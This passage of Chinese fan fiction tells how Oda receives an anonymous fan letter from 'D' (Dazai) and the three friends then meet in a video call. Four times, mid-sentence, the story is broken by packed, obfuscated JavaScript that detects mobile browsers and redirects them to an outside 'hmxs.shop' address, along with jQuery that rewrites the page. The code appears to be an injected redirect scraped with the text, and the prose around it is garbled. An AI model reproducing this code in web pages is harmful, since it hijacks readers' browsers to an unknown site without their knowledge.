他收到信的第一反应是不可置信,毕竟他只是在报纸的角落发表了一篇名不见经传的小说,唯一算是有点热度的地方就是被一个文学评论家批评了一顿,没有人来信骂他就不错了,怎么可能忽然就有了粉丝来信? 有一瞬间他甚至怀疑这是安吾想出来鼓励他振作的新方法,但是信封上的笔迹看起来又不像,再说了那场争执就发生在昨天晚上,就算安吾想做什么动作应该也不可能这么快吧? 脑子里怀着乱七八糟的想法,他从信箱里把信拿出来,刚一入手就被这信的厚度惊呆了,拆开之后再看,果然里面满满当当地塞了快十页纸,织田作之助心里更加疑惑了: 我的小说可能都没有这么长,粉丝来信写这么多页到底都写了什么东西啊? 于是他直接站在门口展开信纸阅读起来,信里的这个人自称是“D”,是他的粉丝,读过他写的小说之后心情激动夜不能寐,所以特意把自己的体悟写出来与他分享。 后面一长篇全都是那篇小说的读后感,大到主角的性格剧情的脉络,小到埋下的伏笔隐藏的背景全都被这位粉丝非常细心的点了出来,甚至织田作之助随手写下的一个路人都有两三百字的人物分析。 观察之敏锐洞察之深入,织田作之助甚至有一种内心被这位粉丝看穿的感觉。 如果是一般人,内心忽然被一个陌生人一眼看透肯定会产生些许恐慌和排斥,但是织田作之助明显不一般,他心里的想法是: 啊,这个人居然能通过一篇小说就如此理解我的内心,他一定就是我的知己! 他不知不觉看入迷了,捧着手里的信纸站在原地把所有的内容一口气读完,在信的末尾有这样一段话: *织田作,我都知道的,你是个拼上性命用尽全力去写作的男人。我理所当然地认为,在当今这个时代,这样的人应该有很多很多。 但是,我找不到,真是意料之外。这世间,果然无聊。 那些大人们总是喜欢对着毫不相关的人说些品头论足的话,也许在肆意评判的时候还会摆出一副洋洋得意的嘴脸,那样不知廉耻的评价丝毫不值得你放在心上。 继续拼上生命去写作吧,我会一直心怀期待地等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884678|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待着。 织田作!你真的,做得很好了。* 你的粉丝,D 胸口有一种被阳光直射进心底的滚烫感觉,风声和虫鸣在这一瞬间都变得很遥远,喉咙和鼻腔都有一瞬间的堵塞,织田作之助后知后觉地反应过来,那是想要流泪的冲动。 耳边有海鸟的鸣叫声传来,织田作之助深吸一口气仔细收好手中的信纸,远处是一望无际的海面,阳光撒下一片璀璨的光点,白色的浪花一下一下地拍打着沙滩。 灵魂里似乎有什么沉重的东西如同冰雪一般在阳光下消融了。在这一刻,他的心情忽然变得轻松。 武装侦探社时钟的指针已经指向了九点半,迟到了一个多小时的织田作之助这才姗姗来迟,不过这次国木田独步却没有说出什么责怪的话。 毕竟昨天那个评论家的事在网上还是闹出了些小动静的,有不少跟风的人也在网上说了些难听的话,虽然表面上侦探社的社员们装作不知道,但是其实他们也非常担心织田作之助的心理状态。 于是在办公室的国木田和谷琦不约而同地拿起一份文件挡住自己的脸,然后开始转头悄悄观察织田作之助。 从昨天来看他受到的打击还是蛮大的,今天也不知道怎么样了…… 织田作之助那张面瘫脸依然还是老样子,他十分安静地走到自己的位置上坐下,该他写的案件报告早就被同事们偷偷分着处理掉了,于是无事可做的他就抽出一张空白的信纸开始埋头写字。 这……这到底是好了还是没好?看着他那张没什么表情的脸国木田独步和谷琦有点拿不准他的状态。 但是无论如何,有想做的事情怎么看也比昨天心如死灰的样子强,国木田和谷琦对视一眼,十分默契地没有上前打扰。 那封信织田作之助删删改改,从上午一直写到下午才意犹未尽的收笔,在抬头看了一眼时间之后,他拿出手机发出一条信息,然后才收好信纸走到国木田面前:“抱歉,国木田,我今天下午想请一会儿假。” “可以,有什么要紧事吗?需不需要帮忙?”国木田独步非常痛快地同意了。 “多谢你,国木田。我已经没事了,抱歉让大家担心了。”织田作之助拒绝了同事的帮忙,但是语气和神态已经恢复如常: “我只是想去买一份礼物而已。昨天我对安吾的态度太过分了,如今想来为了陌生人的几句话就把关心自己的好友拒之门外真的很不应该。” 看到他真的已经从打击中恢复过来了,松了一口气的国木田独步心情大好:“你能想通真是太好了!怎么忽然就想开了?是发生了什么吗?” “嗯,是发生了一件好事。”织田作之助的嘴角上扬了一个微小的弧度:“又交到了一个好朋友。我想这可能就是文学的魅力所在吧。” 不被人认可也没关系,被很多人批评也不要紧,如果我们可以通过作品相互理解,如果我们可以用这种方法找到彼此的话,那么这一切就都是有意义的。 我会一直写下去,直到文字把我们的灵魂紧紧相连。 13.第 13 章 坂口安吾本来还以为织田作先生这次肯定要消沉很长一段时间了,没想到不过只过了一天的时间,自己居然就收到了对方约酒的邀请。 “太宰君终于藏不住了?”他一边回复短信一边在心里询问世界意识,虽然是疑问句语气却充满笃定。 世界意识此时除了竖大拇指已经想不到其他的操作了:“我对你真是心服口服了,宿主。 前几个攻略者其实无一例外都在想尽办法给太宰治和织田作之助之间牵线搭桥,他们有的人试图创造机会让他们两个认识,还有的人和你一样企图先结交织田作之助然后再介绍他们两个见面,还有一个简单粗暴的家伙直接把织田作之助送到了太宰治面前…… 他们什么方法都试过了,但是却从没有一个人取得过像你这样重大的进展!” 甚至大部分时候他们只能起到反效果,基本上都被太宰治算计得毫无还手之力。 “那是因为他们太心急了。”回复完短信之后距离下班还有一段时间,于是坂口安吾又拿起一份文件来,心里还一心二用地给世界意识解释: “太宰君自从看过那本书之后他的精神就一直处在一种十分高压的应激状态,这种状况下无论做什么都会招来敌对的。” 虽然说来可能有点诡异,其实坂口安吾一直觉得太宰君的性格和猫还挺像的。 而如今的太宰君就好比是一只因为受到了巨大惊吓而躲在沙发底下拒绝见人的猫猫,这个时候强行把它拽出来的话只会被猫咪的尖牙利爪搞得遍体鳞伤,所以最好的办法就是先不去动他。 给猫咪营造一个舒适安全的环境,感觉到放松之后他会自己慢慢探出头来的。 这个时候就可以用一点玩具或者冻干(比如织田作先生和他的小说)引诱一下,注意这个时候千万不能心急,更不要上手去拽,最重要的是要让猫自己试探着走出来,这个时候应激状态基本上就平复的差不多了。 听了坂口安吾的经验分享之后,世界意识:…… “宿主,我觉得你也可以出本书了,书名就叫做《难搞的猫主子和他卑微的仆人》。养猫经验如此丰富,难道你在之前的世界是个猫奴?” 坂口安吾此时已经看完了一整份文件,他提笔在文件的末尾签上自己的名字,表情波澜不惊: “已经不是了,世界意识先生。说来惭愧,猫很久之前已经被我遗弃了,如今他融入了新的家庭,能让他应激的危险人物反而是我自己。” “你?遗弃了猫吗?这还真是看不出来。”世界意识忍不住感慨:“你明明是一个非常称职的猫奴啊,我觉得你看起来会是那种自己每天吃速食把省下来的钱都用来买猫罐头的家伙。为什么要遗弃猫?是发生了什么事吗?” “算是吧。这个世界上也不是所有的事都是速食和猫罐头这样简单的选择题,总会有这样那样的身不由己。” 坂口安吾在心里轻轻叹一口气,把手里的文件放下疲惫地揉一揉太阳穴:“我当时以为……另一个猫奴总不会不管他……” 等到安吾走到那家酒馆的时候织田作先生居然老早就等在那里了,他的手里还拿着一杯蒸馏酒,头顶的呆毛也惬意地一晃一晃。 话说,织田作先生头上的呆毛到底是什么原理啊?每一次见到总是会觉得神奇呢。 坂口安吾心里吐槽着走过去,直接在织田作先生身边坐下来:“今天终于不喝咖啡了?心情很好?” 织田作之助干脆地点头承认了:“嗯。今天心情很好,所以打算放纵一下。” “那我也稍微休息一下好了。”坂口安吾转头对老板点了一杯威士忌,接过来先是抿了一口,然后看着杯里的冰球忍不住轻勾起唇角: “所以,是谁让我们的大作家重新振作起来了?” 织田作之助也不奇怪安吾能看出来发生了什么,毕竟他昨天和今天的状态确实大不相同,他没有隐瞒: “今天早上忽然收到了一封粉丝来信。我没想到居然真的有人可以通过一篇小说理解我到这个地步,甚至有一种被看透的感觉。”说到这里织田作之助忍不住轻舒一口气,总是没什么变化的眉眼都惬意地舒展开: “不得不承认,我的确被鼓舞到了,这种感觉真的很奇妙,他理解我心里的挣扎,我似乎也能透过那封信隐约看到他的内心。 总觉得他有点孤独……当然也可能是我多想了……” “真是的,粉丝的一封信效果就这么立竿见影,我都有点嫉妒了。”坂口安吾似乎有点喝醉了,右手支着脑袋看向织田作之助: “不过既然你觉得他孤独的话……那多和他接触一下不是挺好的吗?约出来喝喝酒聊聊天吧,说不定能成为不错的朋友。” “其实我也是这么想的,不过这位寄信的粉丝似乎身份有点神秘。”织田作之助把怀里的信封拿出来:“信是编辑部转寄的,上面也没有任何私人的地址和联系方式,就连姓名也没有一个,只是自称是D。” 这样神秘别说约出来了,想要回信都不知道能不能成功送出去。 “是吗?这还真是一件怪事……”坂口安吾说着伸手接过了信封,那上面的字迹的确是太宰君的无疑,但是发动异能力之后却只能看到一个把脸全都缠住的绷带怪人在一片黑暗中写字,别说家庭住址了,就连寄信人长成什么样都看不到。 想必是早就防着安吾这一手了。 “哈哈,哈哈哈……”安吾被缠成木乃伊的太宰君逗笑了,趴在桌子上足足笑了一分钟才爬起来:“看来这个寄信人还真个是神秘主义者啊,织田先生。他甚至还特意规避了我的异能力,我只能说,这个人的身份肯定很不一般。” 作为一个情报人员,他异能力的具体信息并不对公众开放,除了像织田作之助这样的朋友之外,知道他异能力的就只有政府的同僚或者……敌人了。 如果是政府这边的同僚根本就没有必要藏着掖着,直接过来和偶像签名合影不好吗?所以对方这样小心谨慎,很大可能就是黑/道那边的人了。 “所以对方没留下地址就可以理解了,那位寄信人先生根本就没想再继续联络下去吧,而且以你的身份来说,到此为止才是最明智的做法……”坂口安吾把手里的信封轻轻推了回去:“所以你打算怎么办?还要继续深究下去吗?” 虽然是一个疑问句,但是坂口安吾早就知道织田作先生会怎么做了。 果然,织田作之助认真地把那个信封接过来收好:“多亏了他我才能振作起来,而且看这封信总觉得写信的人需要一些帮助,所以这个人情我非还不可。” “好吧,这还真是织田先生的作风。”坂口安吾也没再多说什么劝阻的话,只是拿起桌上的酒杯又喝了一口:“所以你打算怎么办?要去拜托那位名侦探把人揪出来吗?” 织田作之助摇摇头:“既然对方不愿意露面,我觉得还是不要勉强他比较好,所以知道这件事的人还是越少越好。” “那你打算怎么帮他?” 织田作之助低下头沉吟片刻,然后又看向坂口安吾:“安吾,你那个视频会议账号能再给我一个吗?” “可以啊,不能见面的话通过网络沟通的确也是一个好方法。”坂口安吾答应的非常干脆,拿出手机发出一个短信之后很快便又给了织田作之助一个新的账号和密码,他还非常热心地问道:“对了,织田先生,你知道会议室的创建方法吗?需不需要我帮忙?” 听到这句话,织田作之助头上的呆毛弯成了一个问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16896103|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号:“为什么要建新的?原先的不能用了吗?” 坂口安吾:…… 事已至此,坂口安吾终于发现事情的发展有点出乎自己的意料,他放下酒杯指着自己:“可是原先的会议室我也在啊,那位D先生是织田先生的粉丝吧?他又不认识我……” 织田作之助似乎是懂了什么,他伸手拍一拍安吾的肩膀:“没关系,我有预感,你们会相处得很好。” 坂口安吾感觉自己头都要大了,他试图跟织田作之助讲道理:“我觉得不是这个问题织田先生。可能D先生只想跟你交流,忽然插进来一个陌生人双方都会感到不自在吧?而且我还是异能特务科……” 虽然坂口安吾絮絮叨叨地说了一堆道理,但是织田作之助的脑回路明显异于常人,他先是疑惑地看着坂口安吾慌乱地辩解,然后忽然福至心灵:“安吾,你还在嫉妒D吗?你在闹别扭?” 坂口安吾:…… 你是如何得出这个结论的? “我,我没有……” 织田作之助直接打断了安吾的解释,从怀里拿出一个包装好的长方形礼盒递过去:“抱歉,是我昨天的态度伤害到你了吗? 我只是对自己的小说产生了怀疑,但是我从来没有怀疑过安吾。不过昨天的事情毕竟是我不对,所以特意准备了道歉的礼物。抱歉了,安吾。” 如此突然的话题转换让坂口安吾猝不及防,他有点意外地接过礼盒:“不用抱歉的织田先生,昨天其实我们也算不上争吵,而且只是一点小事而已,你没必要放在心上的。” 说着他低头打量起手里的礼盒,不过巴掌大小的长条形,蓝色的盒子上还绑着白色的拉花,安吾小心翼翼地拆开绑带,发现里面躺着一支银色的钢笔。 通体金属的质感,触感冰凉,笔身的中间位置和笔帽呈现黑色,握在手里有一种非常舒适的厚重感。 “安吾的字既工整又漂亮,我一直觉得比起签字笔还是钢笔更适合你,所以在店里看到它就买下来了。”织田作之助看着他解释。 其实织田作先生说的没错,在几年之前,他还在港口mafia卧底的时候的确更喜欢用钢笔。 但是后来时代在发展,无论是从便捷性还是成本效率上来说都是圆珠笔占了上风,异能特务科繁忙的工作甚至容不下一支稍微麻烦的钢笔,所以坂口安吾这点恋旧的情怀也就毫不犹豫地被他抛在脑后。 如今再握着手里的钢笔,他心里竟然还浮现出一点失而复得的惊喜。 “谢谢,织田先生,我很喜欢这支钢笔,我会一直用它的。”他微笑着道谢。 反正在这边的世界工作也不太忙,暂时用回钢笔也是可以的吧。 “该说谢谢的是我,安吾。”织田作之助放下手里的酒杯认真地道谢:“如果不是你的帮助和启发,我可能要拖非常久的时间才会鼓起勇气动笔,但是如今我的第一篇小说竟然已经完成了,这都多亏了你,我都知道。 安吾,你很重要,是我不可或缺的朋友。无论以后发生什么事,又交了什么新的朋友,我都不会疏远你,你也不会疏远我的,对吗?” 坂口安吾:…… 你这也太犯规了吧织田作先生!为什么你能如此坦然地说出那样的话啊! 别,别答应啊坂口安吾!你理智一点!你只是个路人A啊喂!最应该做的事就是给织田作先生和太宰君搭上线之后功成身退! 虽然心里在疯狂呐喊,但是对上织田作先生满是期待的目光,坂口安吾根本说不出任何拒绝的话:“当,当然了。” “太好了,看来我们都是这么想的。”织田作之助头上的呆毛在欢快地晃动:“那我们把粉丝D也拉进来吧,我有预感我们一定会相处的很好。” 14.第 14 章 面对织田作之助的天然攻势,最后的结果可想而知,坂口安吾稀里糊涂地答应了会议室再添一人的提议,最后喝完酒一脸恍惚地回家了。 织田作先生看着也很高兴的样子,临走之前还说要把已经写好的信寄回编辑部试试,希望对方能收到之类的。 坂口安吾:…… 这点你倒是不用担心了,织田作先生。你的回信太宰君包能收到的啊。 以我对太宰君的了解,他应该也很难拒绝这个提议,毕竟他已经默默窥屏很长时间了,终于不用潜水了对他来说肯定是个巨大的诱惑。 而且说实话,就像我一样,太宰君也同样很难拒绝织田作先生的请求。 神游一般地飘回家里,坂口安吾去卫生间胡乱收拾了一下自己,然后便一下子把自己砸进柔软的床铺里不动弹了。 看他一副半死不活的样子,世界意识忍不住开口了:“宿主,你怎么了?太宰终于鼓起勇气和织田作之助认识了,你怎么反而闷闷不乐?” “唉,我不行了……”坂口安吾叹口气之后颓废地翻了个身:“很快我就不得不和太宰君相处了,好想堕落……” 世界意识:…… 这,这么严重吗? “难道你其实很讨厌太宰治?我看你之前……”世界意识犹豫了一下:“我还以为你们关系很好……” “我们之间的关系很难用好或者坏来形容。”坂口安吾又翻了个身完全趴在床上,就像想要把自己闷死那样把脸埋在枕头上: “但是,现在的我真的很不擅长和太宰君相处……尤其是和知道发生了什么的太宰君……” 如果太宰君是和织田作先生一样什么也不知道的黑时宰的话,安吾还可以装作一副什么都没发生的样子在那两个人身边粉饰太平,但是他面对的是知晓一切的首领宰。 事情已经发生了,伤口还血淋淋的,除了通过互相刺痛的方式共享同一份痛苦之外,安吾已经不知道要如何与太宰君相处了。 “唉,我不应该头脑一热就答应织田作先生的……”坂口安吾烦恼地直锤床:“到时候见到太宰君……怎么想都是一场灾难啊……” 说实话,安吾自己也不知道到时候会发生什么事,可能太宰君在看到他的瞬间就会退出会议室,也可能同样若无其事地打个招呼,还有可能干脆无视掉他…… 毕竟那可是太宰,他心里怎么想的只有他自己知道,安吾从来都是拿他毫无办法的,一旦碰上了就只有听宰由命的份儿。 太宰君要是又说一句“你不会以为我已经原谅你了吧?”要怎么办? 总不能再说一次“是我救了你,明明是你欠我人情!”吧? 唉,想一想到时候的那个场面,坂口安吾就已经想去死了。 世界意识也是头一次见到这个样子的坂口安吾,它连忙安慰:“事情不会像你想的那么糟糕啦宿主,虽然不知道你在之前的世界里和太宰治发生了什么,但是在太宰治眼里你可是这个世界的坂口安吾啊! 就凭他之前对你的态度,太宰治肯定不会因为其他世界的事情迁怒你的!” “对啊,你倒是提醒我了,世界意识先生。我还得必须在太宰君面前装作一副什么都不知道的样子,这可真是一个超高难度的技术活儿啊……”坂口安吾就像一具尸体一样直挺挺地趴在床上,打定主意要把自己闷死在这了: “骗过太宰君什么的……为什么我总是要干这样的活儿……命运对我也太残酷了……” 世界意识:…… 宿主颓废的非常彻底呢……看来太宰治还真是你的克星。 今天晚上陷入纠结的当然不止坂口安吾一个,还有一个在织田作之助回信没多久就直接把信拿到手的太宰治。 织田作的回信几乎和太宰治寄出的信件一样厚了,他满怀期待与好奇地打开信封,里面大部分内容都是织田作的小说创作思路分享和对于一些关键剧情点的探讨。 光是看着那些文字,太宰治似乎就能看到织田作喝着一杯蒸馏酒坐在自己身边侃侃而谈的样子了,他忍不住握着信纸高兴地在椅子上转了一圈,然后才迫不及待地阅读起后面的内容。 D,非常感谢你对我作品的喜爱和鼓励,其实我还有更多的话题和内容想要和你一起探讨。但是考虑到你的身份似乎并不方便透露给我,所以我在此特意奉上“○○视频会议”账号和我常用的会议室房间号。 请放心,那里只是一个可以规范作息畅所欲言的地方而已,如果实在担心暴露身份的话你也可以不开视频画面,我们在那里从来不讨论公事,如果你哪天想要打发时间或者自律生活都可以来找我们。 D,虽然信件里没有表露,但是我从字里行间看出来了,你在真诚地关心着我,一直以来辛苦你了。 我相信我们的缘分绝不会止步于此,我和我的朋友安吾都很期待你的加入。 你的朋友 织田作 太宰治反复地阅读着最后的几段话,一直到眼前的字迹都有一些模糊了才停下来,他抖着手小心翼翼地抚摸着信上落款的“织田作”,又看一看信里面的“一直以来辛苦你了”,不知怎么地,忽然就一股强烈的委屈涌上心头。 故意疏远织田作的时候他没有委屈,把森先生赶下台的时候也没有委屈,在没有织田作的港口mafia里孤身作战的时候没有委屈…… 那么多痛苦绝望的时候他都挺过来了,偏偏在织田作回应他的那一刻,委屈似乎再也无法抑制,混合着眼泪一起在心里泛滥成灾。 昏黄的灯光下他颤抖着肩膀趴在桌子上,投在地上的影子一抖一抖的,安静的办公室里只有他断断续续的呼吸声,不知道过了多久,太宰治才终于整理好情绪重新从桌子上抬起头。 “果然……和织田作聊天永远也不会无聊啊……他为什么能如此坦然地写下那样的话……”他一脸无奈地捂住眼睛,握紧手中的信纸喃喃自语:“这也太狡猾了吧……” 总感觉根本就没办法拒绝这样的织田作…… 但是我小心筹谋了这么多年,好不容易才让织田作站在阳光下,如今mimic的事已经解决,他也能实现自己写小说的理想,我这个港口mafia的首领再去接触他,也许会给他平静的生活又添了什么变数。 我不应该答应他。太宰治在心里对自己说。 如今我已经拥有了太多其他太宰治不曾拥有的东西,甚至织田作也承认了我这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906226|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个朋友,我应该知足了。再得寸进尺下去,说不定什么时候就会…… 想要的东西在到手的瞬间就注定会失去,没有什么值得我延长痛苦的人生去追求。 太宰治一双鸢色的眼睛黯淡下去,他伸手小心翼翼地抚平信上的褶皱。 “我相信我们的缘分绝不会止步于此,我和我的朋友安吾都很期待你的加入。” 织田作和安吾的期待啊……如果我不去,他们会不会很失望?万一再像昨天一样没精打采的…… 理智上知道自己该远离,但是他心里却时不时地划过这样不合时宜的念头,纠结到最后实在是下不定决心,太宰治心累地趴在桌子上不动了。 唉,果然一开始就不接触才是对的,一旦关系慢慢靠近再想要拒绝就很难了啊…… 无论是坂口安吾还是太宰治都在纠结中辗转反侧,而作为让他们二人烦恼的中心——织田作之助,他的心情却意外地非常好。 他和好朋友喝完酒之后又去给另一位朋友寄去一封信,在今天的任务都完成之后他也不着急回家,反而是慢悠悠地往咖喱店的方向走去。 虽然已经是深夜了,但是勤奋的咖喱店老板并未关门,用他自己的话来说这叫做勤能补拙,因为客人太少了所以干脆延长开门时间吧,说不定还能多赚点钱——他是这么跟客人们解释的。 对于此等说法,织田作之助当然是没有什么表示的,反而是坂口安吾忍不住吐槽说比起延长营业时间您还不如去好好研究一下自己的厨艺,最起码还可以少坑害几个无辜的路人。 说起来,安吾的性格还真是一本正经呢,时至今日依然还是在用敬语称呼我,尊敬的语气再加上犀利毒舌的言辞还真是风格鲜明,总感觉如果他也去试着写一些文章的话肯定会非常有趣吧。 想到这里织田作之助的嘴角又忍不住扬起微小的弧度,咖喱店老板非常热情地打了个招呼:“呦!这不是织田君吗?最近这段时间你性格真是越来越开朗了!” 坂口安吾又不在这里,所以这句话当然没人吐槽,织田作之助接下了这个夸奖,从兜里掏出几张纸币递过去:“晚上好,老板。我是来订餐的,从明天开始晚上照旧给我送一份咖喱饭吧,时间地点都和以前一样。” 老板在围裙上擦擦手把钱接过来,数也不数直接揣进兜里:“没问题!怎么?从明天开始又要视频会议了?” 前段时间织田作之助就曾经在老板这里订过晚餐,只不过最近因为投稿和评论家的事等原因才荒废了几天,如今第一篇小说已经写完并且收到反馈了,他当然不会继续松懈下去。 “嗯,明天又要开始了,和安吾约好了。”织田作之助头上的呆毛摇晃几下,身体放松地靠在出餐口的墙边:“而且这次还会有新朋友加入进来,所以我稍微有点期待。” “新朋友吗?以你的性格来说还真是难得啊!”老板忍不住有了几分好奇:“是那位坂口先生介绍的朋友吗?” “不,其实应该算是我介绍他们两个认识吧。”说到这里,织田作之助总是平淡无波的语气带上了一丝不易察觉的笑意: “就是有一种他们两个不会拒绝我的感觉,所以仗着这个我就稍微任性了一下。” 15.第 15 章 时间就在他们三个的期待纠结之中飞速流逝,转眼间就到了第二天下午约定好的时间。 睡不着觉也吃不下饭的坂口安吾发疯一般地把自己的头发揉乱,眼看着时间越来越近,他还是默默叹一口气转身去把自己凌乱的头发重新整理好了。 对着镜子把自己打理成与平常一般无二的样子,坂口安吾最后推一推眼镜,把一切纠结复杂的思绪深深压在眼底,等到出现在屏幕前的时候他已经又是那个理智冷静的坂口安吾了。 而果然不出安吾所料,今天的会议室里又多了一个神秘的人。 之所以叫他神秘人是因为这个人的容貌全都隐藏在一个纯白色的面具下面,只有淡色的嘴唇和消瘦的下巴露在外面,就连背景也是一片漆黑,只有电脑附近的位置点了一盏昏黄的台灯。 不知道的还以为他是某个邪恶组织在计划着什么阴谋呢,总而言之就是浑身上下都透露着神秘诡异的气息。 实在不知道在这种场景下应该说什么,所以坂口安吾谨慎地保持了沉默。 同样沉默的还有带着面具的太宰治,他现在心里也非常没底,这一天下来其实他有在努力寻找加入会议室和不暴露身份之间的平衡点了,但是奈何无论是直觉系的织田作还是金牌间谍安吾都不是好糊弄的角色,所以他纠结来纠结去就只能变成这样的一副打扮。 他们两个怎么不说话?太宰因为不太自信所以也没有开口。 会不会是我这个打扮太过火了?安吾是不是觉得我是什么危险人物?织田作不会是后悔邀请我进来了吧? 就在这样尴尬沉默的氛围即将蔓延起来之前,织田作之助率先开口打破了沉默:“你好,你就是D吗?我还以为你不会开视频呢,说实话我有点惊喜。” 屏幕里的D有点拘谨地低下头去,看上去简直纯良的就像一个初次和网友面基的高中生:“是我。织田作,安吾,晚上好,我是D。” 声音也是加了变声器的,看来这人是打定主意要神秘到底了。 既然太宰没有在看到自己的第一时间退出会议室,坂口安吾当然不会故意给太宰难堪,所以他试图主动挑起话题: “晚上好,D先生。您刚才叫织田先生织田作?请,请问这个称呼是有什么缘由吗?” 虽然他在非常努力的克制,但是说话的时候还是不可避免地结巴了一下。毕竟他已经不知道多久没有和太宰心平气和地交流过了,虽然面上看不出来,但是一向伶牙俐齿的参事官辅佐感觉自己的舌头都要打结了。 “没有,就是觉得比较顺口就这么叫了。”太宰低着头小声解释:“因为回信里织田作也这么称呼自己,所以我就一直这么称呼了。” 虽然在脑海里回看了无数遍其他太宰治的记忆,但是能这么和织田作还有安吾面对面交流还是第一次,总是游刃有余的太宰治也变得紧张,他有点懊恼地微皱起眉头。 觉得自己没发挥好的首领宰:我要是能像记忆里其他太宰治那样活泼地和他们两个打招呼就好了,然后再说一些俏皮话让安吾忍不住吐槽,这样气氛就会彻底活跃起来,我们三个人的关系就可以迅速地拉近了。 结果我现在搞成这样……他们两个会不会觉得我很无聊啊? “所以就这样改掉了名字吗?”坂口安吾不可思议地看向织田作之助:“织田先生居然也没有意见?就这样被剥夺了原本的名字也没关系?” “嗯,因为织田作听起来的确非常顺口,所以不知不觉就这样了呢。”织田作之助没什么表情地答应下来:“而且安吾不觉得这样很顺口吗?我投织田作一票。” 然后织田作之助的目光看向屏幕对面的D。 “我也投织田作一票,我喜欢这个外号。”D顺势摆出举手投票的姿势。 “这根本不是依靠投票能决定的事吧!”坂口安吾怒而吐槽:“不要就这么轻易地放弃了自己的姓氏啊!抗争!好歹再抗争一下吧织田作先生!” “啊,不知不觉就……”说完这句话之后坂口安吾忽地一愣,随即反应过来后就捂住了自己的嘴巴:“我,我刚才是口误!” “嗯,看来安吾也很喜欢这个称呼。”织田作之助头顶的呆毛欢快地摇晃:“织田作三票,你以后也叫我织田作吧,安吾。” “所以说为什么要靠投票决定自己的姓氏啊!”如果不是隔着屏幕坂口安吾简直想要晃着织田作之助的肩膀让他清醒一点:“你也太惯着D先生了吧织田作先生!” “啊,我怎么又……”坂口安吾生无可恋地捂住自己的额头:“都怪你们两个,我从来不叫别人外号的……” “哈哈哈……”看着安吾无奈妥协的样子,屏幕里的D忍不住轻笑出声。 看到似乎一直心事重重的D终于笑了,织田作之助和坂口安吾心里都松了一口气,织田作之助举起桌子上的咖啡杯:“虽然暂时没办法见面,不过为了织田作,我们庆祝一下吧。” 于是坂口安吾也举起了桌上的一次性纸杯。 D先生那边不知道怎么回事似乎很是慌乱了一阵,很快他气喘吁吁地又出现了,手里还举着一个装满白水的玻璃酒杯。 “为了织田作,干杯!” 他们三个人举起手里的杯子隔着屏幕轻轻碰杯,在仰头把杯中的清水一饮而尽的时候,太宰治感觉到似乎有什么重要的部分又回到了他的身体,飘忽不定的灵魂有了实感,沉甸甸坠得他几乎落下泪来。 怎么回事啊最近,动不动就这样,软弱得都不像我了,他忍不住在心里自嘲。 和其他世界在lupin的聚会不同,在会议室里的聚会毕竟是用来规范作息互相监督的,所以在干杯之后大家就要进入埋头努力的阶段了。 “D,你有工作之类的东西需要完成吗?”织田作之助关心地看过去:“如果没有也不用勉强,你可以先去做自己想事情,不用管我们也可以的。” 好不容易在会议室里拥有姓名了,太宰治怎么可能在这个时候退出?他直接搬出了桌子边上的厚厚一摞文件:“有哦,我有很多很多的工作,每天无论怎么做都做不完呢。” 看着屏幕那边比安吾桌子上还要厚得多的文件,织田作之助都忍不住咋舌:“D,你的工作比安吾还要辛苦啊,所以更要注意身体健康了。” 坂口安吾对此表示赞同:“织田作先生说的没错。D先生,工作是做不完的,适当的时候还是要学会休息。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920574|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “安吾居然是这样想的吗?”D有点好奇地看着一身正装戴着眼镜的政府公务员:“你看起来就很像一个会努力工作的正派人士呢!” “咳咳!我只是在不得已的时候才……”安吾心虚地移开视线,又强撑着一副“我在说真话”的样子:“我大部分时候作息都很健康的,真,真的!不信你问织田作先生!” 看到他这么一本正经说谎的样子,太宰治忽然就get到了其他世界太宰治逗弄安吾的乐趣,他故意拉长了声音疑惑:“诶?真的吗?可是我听说安吾所在的异能特务科忙起来……” “时,时间!已经两点半了,按照计划我们要开始工作了!织田作先生,D先生,工作加油!” 坂口安吾语气慌张地打断了D先生的疑问,非常心虚地低头用文件遮住了脸,看上去简直就像一个怕被老师检查作业的小学生。 织田作之助头上呆毛晃了晃,抬头和D非常默契地交换了一个眼神。 织田作/太宰:啊,果然逗弄安吾很有趣呢! 